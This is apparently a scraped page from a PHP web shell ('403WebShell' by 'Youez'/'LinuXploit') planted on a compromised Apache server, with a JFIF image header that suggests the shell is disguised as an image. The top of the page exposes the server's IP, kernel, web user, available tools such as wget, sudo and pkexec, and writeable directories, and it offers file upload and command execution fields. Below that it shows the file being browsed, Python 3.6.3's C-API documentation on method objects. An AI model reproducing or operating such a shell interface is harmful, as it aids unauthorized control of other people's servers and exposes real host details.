????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.16.44.204
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/Python-3.6.3/Doc/c-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/Python-3.6.3/Doc/c-api/method.rst
.. highlightlang:: c

.. _instancemethod-objects:

Instance Method Objects
-----------------------

.. index:: object: instancemethod

An instance method is a wrapper for a :c:data:`PyCFunction` and the new way
to bind a :c:data:`PyCFunction` to a class object. It replaces the former call
``PyMethod_New(func, NULL, class)``.


.. c:var:: PyTypeObject PyInstanceMethod_Type

   This instance of :c:type:`PyTypeObject` represents the Python instance
   method type. It is not exposed to Python programs.


.. c:function:: int PyInstanceMethod_Check(PyObject *o)

   Return true if *o* is an instance method object (has type
   :c:data:`PyInstanceMethod_Type`).  The parameter must not be *NULL*.


.. c:function:: PyObject* PyInstanceMethod_New(PyObject *func)

   Return a new instance method object, with *func* being any callable object
   *func* is the function that will be called when the instance method is
   called.


.. c:function:: PyObject* PyInstanceMethod_Function(PyObject *im)

   Return the function object associated with the instance method *im*.


.. c:function:: PyObject* PyInstanceMethod_GET_FUNCTION(PyObject *im)

   Macro version of :c:func:`PyInstanceMethod_Function` which avoids error checking.


.. _method-objects:

Method Objects
--------------

.. index:: object: method

Methods are bound function objects. Methods are always bound to an instance of
a user-defined class. Unbound methods (methods bound to a class object) are
no longer available.


.. c:var:: PyTypeObject PyMethod_Type

   .. index:: single: MethodType (in module types)

   This instance of :c:type:`PyTypeObject` represents the Python method type.  This
   is exposed to Python programs as ``types.MethodType``.


.. c:function:: int PyMethod_Check(PyObject *o)

   Return true if *o* is a method object (has type :c:data:`PyMethod_Type`).  The
   parameter must not be *NULL*.


.. c:function:: PyObject* PyMethod_New(PyObject *func, PyObject *self)

   Return a new method object, with *func* being any callable object and *self*
   the instance the method should be bound. *func* is the function that will
   be called when the method is called. *self* must not be *NULL*.


.. c:function:: PyObject* PyMethod_Function(PyObject *meth)

   Return the function object associated with the method *meth*.


.. c:function:: PyObject* PyMethod_GET_FUNCTION(PyObject *meth)

   Macro version of :c:func:`PyMethod_Function` which avoids error checking.


.. c:function:: PyObject* PyMethod_Self(PyObject *meth)

   Return the instance associated with the method *meth*.


.. c:function:: PyObject* PyMethod_GET_SELF(PyObject *meth)

   Macro version of :c:func:`PyMethod_Self` which avoids error checking.


.. c:function:: int PyMethod_ClearFreeList()

   Clear the free list. Return the total number of freed items.


Youez - 2016 - github.com/yon3zu
LinuXploit